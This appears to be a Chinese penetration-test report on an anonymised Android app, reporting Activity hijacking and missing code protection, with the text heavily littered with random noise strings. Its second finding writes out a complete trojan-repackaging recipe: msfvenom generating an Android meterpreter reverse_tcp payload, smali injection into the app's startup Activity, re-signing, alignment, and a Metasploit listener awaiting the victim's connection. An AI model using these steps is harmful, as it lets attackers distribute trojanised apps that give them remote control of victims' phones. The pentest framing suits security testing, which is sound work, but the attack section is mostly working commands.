原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

) @$ M' o; L: p& E* g

0 p# E2 ~' _0 R" F6 C

* @. h3 H$ ]7 L j9 Q) P0 b h0 a+ @7 `- P. V* \4 @

: z0 u4 j' H$ E ! |& n$ Q9 P& Q& R5 `( s7 g6 p1 Q( B 文档编号：                5 i, F w2 D8 w0 ^- _) F3 D" S / F* j$ k! m# n

. |, d6 f8 C0 n" F4 W

- V# F4 W6 X1 d3 a/ U+ |2 E7 ? & u7 \9 Z! j) n1 E! }# g   5 A5 D ?$ `% F& X- S

0 Y+ _( h5 K9 f- R % ^4 }: b( f( \0 L, y% n5 s) ~5 W

: q+ g! U& P% u6 a ! M! I, C+ N. q. L5 j* n  

! N; O* {+ W5 r/ R3 s2 [( K

A* k# O2 ?% D& Y- [* \3 g   % E: v2 E+ ?6 |- t K 2 ]: z- O) k2 D2 T9 q% n$ d

6 `) l; F6 [) m. Q3 \: H% V

. J+ ?( |9 {1 x" O  

) d4 m5 R/ _" h6 R+ ^

7 W, T' w" ^; Y# c3 l8 O/ Q+ z' s 4 o2 R% q! P. {# T/ p2 ^   * V; M( b; f B

2 H1 P% m( w) k" V' V . F1 i2 B6 |$ @" v

/ z l' X. J% I' H0 k) Q& L( ^ 某某某APP渗透测试

8 |7 D1 t2 F$ K3 L }+ K! @+ M   ! |: |9 O6 N+ W* b t( R3 L

! c* A& t5 Y' Y ?2 T9 x) R 4 \5 Z# T* X/ `8 w; H# q3 p   6 u, g l6 P! x1 ^0 x/ i

( Y% u) a7 B* o0 e/ N' q3 C$ x 3 I+ q- W$ ^0 L Q  

  ! t) S" [! W ]# P: _: B- l

; w8 _ s% v0 p* A

技 术 报 告 $ M" L' I" T# u; Q . Z( W3 ^" S; a1 I: {

4 U, X+ W/ S9 b. n # q0 j* {7 }" y' @1 l4 V5 w

, J' B/ ]1 f" F9 `7 F! ` ~  

: O4 ~# O2 |+ [" c! e5 U $ E6 F4 H- i f! g O& s7 V9 g H* q

  7 o$ C% C! g# S B ] / {! c) i; ^8 H6 B# H) a; z

& k9 D' |# G: K( Q& V0 L

7 v9 h! B9 ?0 e) J   % M! j+ M1 [3 @, M4 o' v' Q [8 ~

& t f) ?# ?$ C2 `6 N5 ^! L$ `9 X , w0 e+ \5 s/ ^" j( i

) T" h& R/ [: H' `, c   9 B! y) p. M3 F- r7 J* _/ h

& g$ z: C8 b+ B! i   3 Y7 O0 t" {* ~4 W$ n

! r1 N$ Q% K; n   3 W4 O7 B" `8 I! O 1 N- E5 m# f) D1 |9 ?: ^* }% X

. R0 H& h- w0 O

  + X! W& P$ Q" {! {" {9 \1 X , p: N1 }: a& A8 L2 A# t3 a" C6 j

+ ~0 y5 L4 _5 V" z @& W* \. j+ i

  : v* y( [: T! [" m% i, p- p

( t$ w9 b! j1 z8 {1 t+ Y4 o3 O + X7 Z) p0 P. x7 V; k' G' \2 C

A# t' t: o1 I: n/ _! l$ \ % B9 P& c* n. \( O7 j9 p' w   , j8 C8 J7 B; M# h0 E

. K" ^3 H, L" U

  0 [5 |% E2 Y! M' I7 S# i9 z, e5 X $ N4 _" K5 G% N+ c

. U. s* }& J/ S" Z# n: Z/ i 5 m6 |" s9 w( G/ d' o- l9 s   - T( _. _* i5 }& o/ R+ [7 W1 b 5 {5 W/ S1 h7 r8 k

4 h' o& U' X L6 s3 z

  2 {; j0 M* G* Z0 w m

3 g# ~" w! E( ?+ D6 @9 J6 x

2 z, R- f" X+ ~5 s0 _ " V; u% Q1 V" L o" r4 U% J+ }   % W5 A% [+ n; @

& j3 @. D5 | I1 u

 

  ' C4 ~8 ^. J& ^7 V# Y# [

2 h$ p& Z5 I, S   9 ]6 Y7 J) Y+ V% z* l

: ]' z! ~- B( Y* n( e" _

  , D! V& Q' T: r* K: V$ J% h4 o ' K, @4 _$ e# { l L0 V! {, {

; _2 m8 w! @# P. Z8 `

 

4 S7 \6 _+ S/ b( t0 h/ w) g8 f 3 J2 S2 Q! q$ O7 |9 d# z% l

) e, l- k8 x; S1 q4 ] 二〇二〇年 ' I- R( ^0 M# D5 n4 E! a- J {

) Q4 U' R7 v0 B! ?0 X

# D' t2 Y! j/ S% q. T+ u Q. f% [ % \9 Q, y, h2 O+ C, a. A 9 v( d: @, _! g

: n. y$ H& R/ ~8 A" K

- T! d7 f5 H/ f3 I( a0 R 2 ]2 a1 \- c7 ]. m: K% Q7 ^9 ^ * u% J. J# [1 b$ } + W) f# f8 F, Y

; M! {- |8 |' W7 G( x7 K' Z0 B S- i

- C& F/ y6 l% G8 M 目 录

8 }# S6 G6 v/ `) d1 T& \

; l# Z: l6 H; f+ Z9 b  

4 o# W! i+ w6 {- U8 R% P, |5 S5 e 6 _: Q& s3 {* P" n( ?

: b5 Z! M/ x+ q8 c2 e 1 概述... 3

* [1 n3 g! p' N# r& n0 L& W) i

0 o, g* w) ~" B0 ^% g- @( @1 J5 s2 b / F. @' X; C3 G, M9 V$ y- s- z) h 1.2测试时间... 3 8 G) i$ e. m C3 m# I

0 O, ~# O7 @* c/ l7 _

2 D: X1 e+ A, F* D+ M U& j7 O - Y! l& _/ }0 F4 A7 h' P 1.3测试对象... 3

) t$ l1 L3 ?; a5 P% `! N# Q ) |& R. f! J$ O' _ ?( O

1.4测试结果... 3 4 }# Z; w/ D5 ?

2 检测结果... 4 / y n% q+ x. N& R$ i- I% T, L

4 ^) p3 f, R" ~5 P

% l8 u p: N0 J2 P' T# l 2.1 某某某... 4 ) ]! R( T0 u6 m

" C1 P$ `; H# ~9 \6 d6 w1 r

, r9 O u4 i8 g8 n 2.1.1检测目标... 4 2 z6 V2 l* k6 F; |! d8 ]

# b0 O# ^& B) T5 T( d$ V

1 F6 K6 H" C2 K3 l/ t 2.1.2检测结果... 4 ! |$ K/ g: P0 s" E6 B# \' o2 T

2 K( Q& {# Y* w/ ~' E

2.1.2.1. 4 : d- R5 } P6 w$ ^

8 Q. b) J8 @7 ?: y2 i4 | 2.1.2.2. 6 2 d+ G% k9 U9 D1 P" ~; t

; z$ o# [9 A+ r+ _$ A* O' G 1 W3 b) H R/ P; }! @; s

% [' ~4 y8 b0 x" @" z6 ^ , l# H5 P/ ~3 o5 z/ w5 @2 a

% d- K8 P! ^/ C2 a8 Y. [; Y 7 d+ t! W) A1 \ U1 s7 T( r( @; T5 @

, c% T5 h" u- X1 e1 F) Z; P
, B5 r* o7 P( b2 _* t

- t+ x" ?7 l$ V6 m 1 概述 t8 ]5 L$ m, Q0 |, N5 {+ k

+ N3 P8 T# ^9 M9 e

1 e: E- c" U- U) p 9 n9 X+ h; O5 r; d5 e( u0 O }/ h 1.2测试时间 8 y! E' s# a( `7 k

3 i/ M6 T! p* L2 o' c/ U5 ~% J 1 y2 q2 }+ w1 h- c+ c% v - R4 \" s- |3 h. c5 ~: p( |, G ^* u2 z! O2 O, ^& l2 W7 `6 \( v: K' P& v0 L6 K- x5 E3 y4 h# M8 S. [/ q G- H, A+ J7 y R. }; ~7 E5 d4 d5 o; D/ z! s5 s: {- Q. \2 L+ [: u. B. l5 }$ F( o& {& H3 Q( {& s3 D7 u- v3 Y) M$ C4 V- B/ {$ @/ v6 h8 e( R7 t; `: k9 c" j6 z, P! q' _9 d; f6 M- B. A' F$ |

9 E- j) @" L" g0 _' s$ T' n( L 渗透测试时间 : y* u4 `9 O1 L9 z ) m% Z$ ]( I6 s, J) K) c $ j+ N! o' k4 |, H* u N( E/ M" i+ l1 R& z
b% e( w2 X# t * W+ `" i5 K0 f, x2 I: g! h. I - X& F3 [# M& x 起始时间 3 H) V) {9 }$ g# f5 s3 ?2 v- P	/ ~# J( \/ f; \- o2 Q/ `& B; c2 v3 A & Q9 G6 d# R' D 2020年4月6日 - _& }: L+ ]6 S, H/ Q. r. w
, r4 C. Q1 ]- u. X! \, L 结束时间 + b$ {, g* @: p9 N8 \* x' e* M; E ' q$ q- H- o5 q& l) W! W7 ~ 1 _3 G! ?: O0 ^9 Y7 M$ I	' [1 S' o" o0 u0 c/ G! D) V" d 5 t. W( r# s- r! ` T # E G' y$ j( `; m' m # k: ?- n% D3 D T 2020年4月9日 9 {, T% g4 Y/ ~% K 6 H: r% c6 n1 q2 i* U8 X" O

6 C" }$ A2 C% S k$ g2 ~* v / Z+ f# C' ?+ g

) b- G8 \5 E* A, j9 ~" R 1.3测试对象 {9 h( B$ ?' A$ j1 `

/ a4 O3 l. C. \% x: ] " j* K0 U x& D$ Q: _$ j

; x" T2 n0 D9 W: l6 w 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ! s* [+ r/ U% j3 [, g

" Y$ ]7 ?4 w6 W/ \ F7 W. f # i$ n7 @. h* [# m5 k1 j2 I 表1-1 检测对象 5 s: f# x J- d6 S/ o; }

" I3 v' o6 K3 d* y, I% H , n$ a% O. F# Y7 W$ @" r; z# U) @/ T! ` `! D4 F! E( R8 J4 O) O; m* o4 ]. b! P% N' V- |* c" ]( C' S! a8 ^3 [* c- z4 M! p/ L7 }, h) D, R: D3 [: i, G9 v6 B' v3 b. R* K) j& K# y& _# X/ O% m7 A4 F" X/ V; ^, o& `# n( z! f3 H% ]0 S) F- H# Z+ I8 H& I6 z8 M0 c* ~0 q Q+ C3 I5 B! V8 L0 A3 k+ M. ^: l/ a/ S7 ~* c" v" @/ a/ @; y* @ d. C% E6 x4 b1 z) X+ l

& j3 f& ~+ c3 R/ a$ S# p. ] ) X" |1 V% m* ^2 j. S/ Z( W; Z2 P ' Q' w% u R) b 序号 & A0 g0 O# x0 w; h2 ` 6 i' k+ F7 o- {. P% f 8 F! H3 W# H8 B, U2 [% t9 J/ t# C	测试对象 # |3 G9 ]$ @6 s+ S+ V ( r( j: B3 M/ c& h	b6 z& _+ q' y$ ^ 2 }; A8 {7 b8 @7 o z, j) C# G 测试地址 4 T3 y6 l4 G3 E5 G* l! o7 d1 h3 h ) r7 h# |, u6 ~- d% A1 [ * Z4 D- Y" N8 a( a$ j	! [- x4 A: S9 Q* G 安全漏洞 1 b& b6 n( e. } u * h4 _4 n6 z J9 g( Y, \ O9 [9 a
U& W- j# Q- ^ - [) V8 z* M$ D 1 + C! ]# C& `& [# U	& T, a: M) [/ y6 b& x M) `; F9 v; k. W 某某某安卓APP + o' v& ?1 Y" G9 ] 7 p" Z& h* k/ [" I, y	3 s& X/ G7 [. t   9 a8 Z. G# u5 E+ D8 J; R; R8 C( z2 x * m$ r% p: \9 k# r8 E8 T* M " l- J( F3 O8 {' u$ g, l# G	W- w! Q# [2 s$ s6 [' h . \# Q7 i) r s. M 2 * n6 G8 |, z+ f: M( @

( g q F4 w- v 1.4测试结果

. b9 A' i) C2 o% |9 X& C0 } - }3 V2 Q# [: N% r; J

l' d% M' H* X% _, b & K. e$ e+ y9 P& H1 Z5 u- B7 [( U6 h 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： * j: H) ^" X( P

+ E+ t' _! {' h( p/ x a% } , N- m4 i- G n' C2 ]

, Q( j" E5 y0 @5 {5 @% ` & {; W9 n! a4 |) @   , {7 R% p& ?8 t( M& P7 j3 i! w- o! i

$ O2 e7 \$ n; [2 ~6 }9 p

, r; q. x4 D1 O* S : C! h- P9 r% o% L; o% V1 S G7 C( T ( Z$ K. y' w- V3 J9 ?) y+ }% x' A1 q5 j2 p1 o0 e8 O. a5 {* n. p8 t; |* w5 `9 A4 g" r( c3 R( y4 E @7 f" n' x- s- j+ Q! M b0 v9 @( g2 f' k4 Y/ H& @) v) H4 u- ?) l* a. x5 I: z1 `) b2 u6 f9 x0 I8 ~& T ^" r w9 h- ?0 J8 G6 e; H# T1 m" O( w, `! b( ^$ C5 I: ]( u! p0 a! Y1 L% l7 g7 Z# F. Q4 F. c/ B4 ^, ^+ d+ }. ?; c1 A# J) [' t4 E; H) T0 l; T, p$ ^7 e9 a7 |8 {9 R3 \ X" d' R5 O; `; ?4 s3 g/ U0 X2 s \: R% C: M- K# W/ r* j" l1 _* ~) N1 |3 x7 \3 A6 V. H: W- ]5 [0 ^- E7 v5 M7 O7 c+ D: z2 a8 _+ ?- o( G, G' \% X& Q" x% p+ x* J y) W/ \' a

" L$ `$ J0 T+ ]) ]4 j 序号 ?4 s- J0 X& B; K7 g1 W 0 a6 T- _4 E; U( |. [	% R( f% P6 l- d% F7 q% ~ 3 Q: @' N) P- z5 }& R [9 T 系统名称 3 w3 l- w+ S7 ^' d* H4 f 1 u+ z( s, [9 R) ~/ H! i% w	8 W6 M" B# n _* `6 ]6 L ' l1 p; u/ V5 c7 P 漏洞名称 7 N) I1 R! P8 _0 n	: `8 w. T% W, T h j: u d4 X 6 p/ R7 {+ B8 i6 k4 ^. B * ?' [4 Q* [) J2 Y8 _ 漏洞危害 8 S% h) ]; | |	7 Q9 U" y, y/ g: @- ^8 v( m3 t& L ) ^0 K( `+ R4 c( C# \" k3 d& M 修复结果 5 K+ M8 K. {/ P5 R1 t" m) z ) H0 a2 ?" ~* l: ?) B$ N: _* b
2 Y% N, k3 I0 E% ~6 I4 y 1 5 e& g& z% d7 @2 X, q & g6 o4 G$ ?5 d2 a) C ! X1 I- l/ [* o) Q( E	/ g* ]( l1 P/ s6 }0 J) C 1 o' E$ m; N7 H& G! _ ( P2 i3 l; \0 J: T+ j2 I/ c7 \1 e 某某某某某某APP 7 U1 S6 s' m8 T) `3 X	$ j9 d; T" q0 L# n; ~ Activity 劫持 ; W% q) V+ _+ O6 u6 N3 \6 q4 e( k: `6 X   * n" ^2 ^! m$ g4 ^# E	3 ^3 D, }+ D0 K$ B7 H6 G! S * M l+ `) @- K % \/ A4 A+ m% d 高 4 g/ q2 {& m8 o! r ^& ?1 E$ H6 b! W , d: f$ v3 a( ^- N c) a- y	, g( L7 ~ U4 H. |   . _ E9 }" q/ X- o% O r . }: M4 L: |" |" f, M9 t 0 H( n; |1 {$ |) A0 I
4 L A* R# {1 m 2 # m/ U* `# d+ G' e . }) I6 G! o) K 2 H0 S+ [+ h. p+ J3 ?/ k r+ T1 ?3 u* ~	7 q9 K2 X$ O c/ V0 B8 v1 E ( Z4 {0 K3 `: n1 a2 @ 3 R$ A1 Z! G; ?0 z 某某某某某某APP . w4 u, z' |9 I! q; ?# q# s6 c2 z ; N0 W+ G7 U, D- W- t1 n9 w# t	4 L2 f/ j* @5 Y a6 |+ R+ {' ^ 9 M! e4 u8 i2 f7 h 反编译二次打包捆绑木马、篡改APP代码 7 J; v# D! _ d+ k3 w	# z5 k" F! Z8 o 高 7 |0 ~, Y& o1 ?3 e4 K	' `( a3 s1 i2 ]* G& L, N' N / I2 X# t8 C/ Y7 h+ x - d0 V. F D3 O! Z% Q& l, b   6 S0 [; D, M/ P; [5 S; l- Y

2 `- n, R$ |3 H. y6 Q8 z* H

/ T4 c- V/ s5 s( d9 A6 X! S- r- B

  2 q0 t3 e( U' D- H

1 |' l, K/ w4 U" D& W/ J H$ M

表1-2 测试结果 4 S, w3 e5 N4 S4 w) {% |" {+ K 8 ~. r& x7 r) m, p

, P6 A' |/ u- q7 N/ z: A6 X

* ?" [% R$ g9 b   ) b5 [ B* v- e0 l# c! \

f# D; S: d5 K& N' | ( |: D( g' w8 I4 `; E j) [

5 H+ [5 W1 E: b: @% F' m 2 检测结果                   

% Z- ?% {1 S. i; Z

2.1 某某某 2 f6 D$ H# o S$ p% l9 W

. ^/ Y! j2 @; f/ G( a' J5 ^5 H

" b/ l5 {3 ^( S! w6 m 2.1.1检测目标 . V B0 @7 H3 Y' K* K7 `0 E

7 S! }4 s% g, C5 p 1 V/ f: r* | H; [6 s) V$ g2 k

/ {( U7 z H4 n: ]+ c2 Z 目标地址： 某某某某某某APP : o% v6 p: h( q

1 c& l) Z E8 n4 e. w1 ~8 V6 t

3 y X$ H( h: p- T 5 @( Q3 L8 T( v- i$ t. g: i" w 2.1.2检测结果 v: I, `& Z( }, s. Q% K

1 h3 g& W3 G! Y# h7 C% F: j3 K: d $ p0 ]1 R9 H7 [ o

2.1.2.1 4 B$ F# f7 V. V5 D( l2 b* l' a & X6 r6 ]2 H% ?( \% W! R

j; z( k) s. B5 x

漏洞链接地址：某某某某某某APP

: o! V6 g% ^ }: e6 G

" ~5 c( B0 ^, u0 y6 a: }7 H2 X M * L( T8 i8 p Y; ?% f! Y4 u5 h   1 y9 h# `! w4 v" v" z

8 h9 W, p5 a! L& H( w1 ~ , N3 G# [' _) ~: E4 [0 W6 ?

& X, A/ g4 U0 k4 Z6 X3 Z0 b! L 6 u. K1 ^/ R' h 漏洞分析及取证： * v7 D9 A4 j" m8 [- [& }# h9 `( S- f

9 _3 l" ~/ a( @

7 C, Q0 k0 M3 j1 _! ^                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ; d7 t- s. E8 C( `2 Q2 s

" z2 H5 K9 k. L: _9 _- y$ K

     m! Y$ ?& D9 A2 u T! f" Y6 `- {" N% I0 l' z8 g+ H& |

* q# D% R1 s% K

. K: C7 A/ T. d- P f4 n) G$ E. T                       4 {. q) G/ l: A3 a

" U6 b# T1 g' h" X2 F6 R9 B; O6 `7 p7 d! @

3 p% C7 C |* t4 m6 j4 t ! ^. _1 y& f# [1 d

6 _1 w7 [- A& w8 P- ~ + B1 G5 Q3 j7 V- c ?, y

A9 C+ E2 }& g/ c% W

7 Z( d8 V: Q+ n j8 q$ O" a- P5 ]

漏洞危害：高 $ w& K' ]9 P; l6 P . ?8 x, v' y- x

" v2 a2 F" t$ F# W. U+ ^

: e$ U( N8 u: T* }: k$ ~ . Z6 D: C5 A* h& S0 L+ [ & k8 T2 a9 }$ U3 h8 Q" Z, x' A" }* v2 F. J) M9 f K/ E; i# Y7 H/ s: L+ {( N5 d; `% c0 |$ b6 F3 z! D- Q8 A& \; |; Q5 v5 l. J6 s& I* f* z4 n! Z9 h% A" U# y0 C9 h$ Y; h9 o: h& y* [$ O1 Q5 g1 y4 _% n( E1 q; r: x, r0 W: Z( D/ N5 W+ x1 L. S) F' T& {6 p+ H4 J/ |% u4 h2 f6 N9 x, M, Q6 C1 A8 J9 g/ ~$ L& k4 C- _

) U9 J0 l& v6 Z' m3 C' F ( S- ?6 h0 C" j. {) L' [& K/ W$ s- J: I 严重程度 - P$ b) P0 C4 m q 2 m/ a, w8 J$ d! L$ U/ o2 Z | * v8 }* a, [+ `. q0 W' n+ N	/ E2 c$ o% @+ \# q2 c/ @ . K- j6 p6 }$ B! j& W1 d- R 高	7 {* E% \, G) ^ 2 B, C/ O% H1 _ 9 ~2 U: g4 R! @ ■ . k" {) l1 B, P" h5 ^1 I : O6 K+ ~- M6 @+ v6 p$ I & i4 Q* N" C& _: M2 y; p	! i% a7 Q+ M; j7 Z5 R% u 2 Z/ U U( i `# L$ y $ h2 {2 J" c9 [ {+ `2 Y" N 中	8 t: V) ^2 U8 z0 B" S8 D   5 O a q. z, M+ ~% ?/ @5 B6 V , I4 S- _; K. N$ P I1 J	, m! N7 {0 x- M8 A 4 `& t: D3 S& P" y, p: r9 } 低 ' P$ Q- J# z5 _' C% M. w! D5 @ 7 O6 X: J" t/ v( w4 t7 p# G, H	# @1 r9 D% b! Q4 [3 e 8 M6 T0 S/ |3 i0 R$ ~ , M1 i: h/ |7 s/ c8 V0 a1 P- l6 D   * y8 z; _5 y8 q5 d/ W: @' S' C + |. u3 t+ b% q2 r0 D 7 O# C0 |- v# p& T4 n9 R7 k 2 d0 w) d+ S; `3 W: N

4 N: d. }7 Q, P: x: A1 n2 y/ _ 1 M2 r) M; X5 V' R) ?* G

7 f9 m1 r. ^2 ]. N( r

 

3 q1 N2 d( a3 g1 l1 X

" K" ]1 A) i" h' E! _5 K% S5 O 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 9 B$ h0 p+ |* U0 }3 ~! S 0 j% C6 }0 Q u5 S2 I% E

$ q* P6 _) J9 o

          2 Q$ L2 J- d. M, Q* h; V / `& a8 V6 q& ?

2 }7 a6 k8 h: B+ a1 I 4 c& E9 L4 P* _( F* Z$ u

1 y9 n9 o; `3 ?9 i5 N" g2 n( E   0 a- C2 C9 g" J% c* Z

$ d1 ~4 e# g, r

+ ~% T0 d2 d. X2 H$ K [) E! ~7 Z1 Q# K9 r' @& x 2.1.2.2 & T0 E* q+ p9 s# W/ e

- L- L' X }9 @; a0 X

( q$ ^# `/ e; ^: N; l 漏洞链接地址：某某某某某某APP ( Z& x0 ^* R% u( M: b# b- B

6 B z; S) i* i' y. U# B

" M% q, w E4 M% \6 {% B4 b ; Z4 C+ b" Z; `) R/ @: d; ]- p( F0 D2 D 漏洞分析及取证： # p3 u) M8 P) G 1 Y6 f2 w3 i$ s3 V7 A! `+ T

0 T3 S8 ]9 e8 ~

' p2 x" a, x; o! L                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： ( I1 F# d5 e4 Z% `1 W2 ? y" h

5 w1 C. N, X# z; a9 g0 R% s8 L3 v 0 ~1 Q& s7 o8 q' u

$ P8 U" N7 {6 o5 p: m 用Metasploit 生成木马 apk

3 w. E9 c% G6 Y4 ]3 c t0 [% B) O2 X( w msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 8 m: B# x/ e% B3 ~& T O- w . F# z* _2 ?" P1 A: y, U5 N4 N5 |, Y

反编译目标apk和木马apk 6 T( C& V/ k$ k3 D& j/ F" c $ m9 h* ^0 |. \/ F" p

' e& N" a8 w( L _1 H* f1 I4 n # @/ D. b3 ^/ [$ h

apktool d target.apk
- T- R& T3 ]: Y% B5 }0 W apktool d cockhorse.apk ' r4 p/ [0 A3 c; c2 o 1 I m! b" i G0 J+ h& M2 B% f8 k

# E0 f5 W+ }& t* [9 \* [: h 木马 apk 注入目标 apk d8 i" g0 X% r6 t; r4 |

" Z o" H+ Y% B: d# U: t: o# g 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 0 I" r% l4 m5 G8 r% y" l 3 e r Z1 G2 `- L

; Z7 f g6 H) f2 f. _ , c( p: m0 c9 q: S

+ y, [+ c" ?) w( h8 c- @# B. C 6 E" g7 Q" M9 y, l8 t& m 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 6 D5 g1 R2 H X, }8 _' V

. S* Z3 r/ x7 F; A4 [( b8 ^# O8 v0 T

0 a: X: _: n0 Q3 ]) U0 f0 X& r # \$ w9 e' u W0 z5 w3 S- ] 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ' W+ [7 w' ~/ _, H+ w; A

& n1 u3 M5 J- Z( E$ Y. m+ Q) M9 b* D2 k

2 G% A4 [- n# e$ C8 Z" j( R 回编译生成最终 apk 1 {2 o) O* H! h& [* l# N- J% J. l

* F- N' `/ T3 [" D3 H" W8 S, e$ i r8 \0 E* M$ G

; d, o& k* h; ~# I( `/ Y0 j0 { 重新打包 ! {$ k+ I8 ^9 J i+ g, L, j7 d/ T

4 {+ z; q" f, r8 I9 J9 x; J

% R" Z8 @2 w s5 q * L" o4 n; o1 Z& X% `0 D1 c2 `+ I apktool b -o repackage.apk target_app_floder " [7 ~) i2 k8 D. F0 W9 A / q* E t6 G% s; R# U. K6 I' V

% w) k/ g. d$ D& H" }1 J6 D

* u1 J: ?4 I- A 5 A% n) B6 D* h, v& x7 k. i2 z! _7 u5 f6 g 创建签名文件，有的话可忽略此步骤 9 a7 Z0 U9 a- P# J( W % s, F6 `& c1 [4 m

5 f1 f2 d+ _8 V0 @7 D$ W5 G( e

! }! g; N; C1 S% D8 @8 r keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                6 H6 a& Z2 O1 T+ @2 H

7 p! n6 _1 i" B$ X! L ( Z4 o. b; @4 H( U

; G! L, M! s. ` $ G7 ]1 Z6 R S7 ? 签名，以下任选其一 U& z: l1 a# N2 f; U% W

: v4 M9 D) h" S5 d

1 ^9 I0 q% r7 X: Q/ k jarsigner 方式 2 s& q; F2 C; G& g Y6 A

. b! l8 e4 I! ^ # d2 C- D4 v, M, {

) G2 b- J7 ~' u8 ^% j( h5 v3 }5 ] % m1 w) \/ _ F jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname , N2 {4 c2 p3 \

$ [9 S. `) ~8 H4 D1 l

, C* j3 t8 `6 Z- _4 M- q* B apksigner 方式 ; L( K( l! X) O ' K: Y' V2 U7 Y+ F: g) t

( |$ E& b8 Z0 G: _. ^6 y" p1 @

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk + ~! p% v3 c4 l! \, B

4 z- H1 X) ?: K b5 U: y, y: \ / y4 V- A) I4 }" U

如需要禁用 v2签名 添加选项--v2-signing-enabled false ! m( O1 o* w; p5 s$ g$ h& p) ~, u " C s# i& X% S

2 X; {) U! N% r( } 验证，以下任选其一

" r9 j4 F4 b0 l/ c- p ) k' O( W- X5 ~; b9 w8 F( a

0 Y) y. u! l e% m- k1 y% K jarsigner方式 2 G* a2 }& Z, x) Q1 P: [

% Z; C" j; j' `: } ! u/ }) Y. _) D E

; }6 z+ N, M% C( I- u jarsigner -verify repackaged.apk ' O/ K& t2 J# u/ m% ^

r( e( t O2 i

. { o0 k7 d4 t6 E" |- e " |8 z Z* I1 \$ `3 Q apksigner 方式 9 b7 w& T6 e0 B( Q& ^

8 f% F+ g2 M$ z; f2 } y

- g9 [: Z, B. W0 Q apksigner verify -v --print-certs repackaged.apk 6 f" u9 B& H7 d. N+ K # l6 @0 g& x+ n7 ~

/ }; S4 v" o+ O1 e5 C keytool方式

. R) x# x% \& y7 s, [$ J keytool -printcert -jarfile repackaged.apk

, Q6 W, i0 `+ S 3 }0 }4 i, z% E, C3 c

$ s1 c; R0 ~- r! O+ x1 | 对齐 " q4 n( ]& a9 i! ~* x9 B6 H$ Y

% C) v" i6 q- _% M+ S; z ; Z N/ k% p0 U' |& D

. v* L, z: O0 D q2 X9 ]# {9 N8 _; z- v 字节对齐优化 8 v p( c6 O. e7 E" ~) N

1 ^, m, |1 K9 C6 B

' P$ B. P* A7 R9 x+ o % `* h5 ~3 B' Y& F" r zipalign -v 4 repackaged.apk final.apk

, H- D! R8 a+ A. W. N

3 A `1 J) {, J+ A: v- s" i+ V 检查是否对齐

6 A& e) l; s0 F1 \% h

zipalign -c -v 4 final.apk / z8 M( V6 q% N* U5 d0 O/ e6 l9 s

( I% k5 p/ r3 H1 g; g# h4 ~8 ] 8 g3 p9 g" i4 \# m" w0 `! I0 e

# a/ v% z8 R. X+ Y 8 T0 z% T! ~( {/ S6 | 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

% ?& o& \/ F+ f b# a3 t * O- h% Y! t" y" r4 ?$ Y

5 U( r2 P% U1 R+ P+ \ | , J& y8 E; v# W 启动Metasploit控制台，配置参数等待上线 ) T9 h* _# `2 Q/ q

Z: x. _3 F8 J# }: G

在终端依次输入如下命令

; b1 n# y$ H8 K, x$ B3 l

/ f' s9 K8 n# I% d s+ V & m3 U) Q+ \: q: ~ msfconsole 4 e! B7 u8 k! B# i9 W5 \$ T# G) E ^" }% }. p' H

, c5 G% c% m2 _4 ?0 x' f use exploit/multi/handler 1 S& J* O0 z! z: b) F: L& x

9 c' F& D* y; S0 s2 }

+ @0 W8 K9 j+ e) D( W: v4 P& y set PAYLOAD android/meterpreter/reverse_tcp 7 W! v+ M8 r, Y; Z ( r' z4 ^- M5 t! d3 v0 o

* |9 H( U1 a! G' }% {- F" z& b2 J

! N8 W# K( y7 M* j8 c, N W* O$ K6 O/ I0 Q3 p2 s/ E d9 p# l set LHOST 192.xxx.xx.xx

0 j& A& S7 ]2 D, c7 I9 h

9 k( N1 D. g4 I* j ~ 6 R- j7 J$ \( e( b5 [; W4 M set LPORT 4444

1 k6 |. w" s6 @( W4 n

% r7 c$ l, F, s; G! J3 O& x3 S& o# w 6 J& D! ]; }+ x2 D, b exploit " h5 n2 K5 M3 t6 K

+ Z2 A! E# a" t8 }6 a) ` 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               3 Q ]) f& Y2 v& T4 | 0 H$ @7 _% c# v

3 x: x9 a: B( {8 T. N* V 6 Y+ M. j# a; p" {

% d- x5 Z1 h3 f# i7 d9 w* r9 y 漏洞危害：中 $ E: T- O; J0 _/ E) y9 U7 R 2 a8 k5 v: a% ~, E8 l+ h" Y' {

K: ~; |0 l1 @! w

& ^7 C, V/ f, n( x* @5 l, G ' ], q% @* S, O. B7 E 7 \5 ]5 b+ `. v, @% v- g9 x( z2 x/ s6 f# T. Z+ F; R* y: ?3 _; c* b- |; T$ N/ s3 X% b. p( P1 x O) c7 q! k& y, G( B! C' M) s' E: Q: Q: X9 _" k& S4 q% f* H) q! G: g O) A4 @7 d% W" S8 b9 O F- J9 F& B* \ c7 a" i q' F+ B* t/ y, A4 N/ j: E: D9 f8 B( {; O- D$ j- M" s5 K3 ?

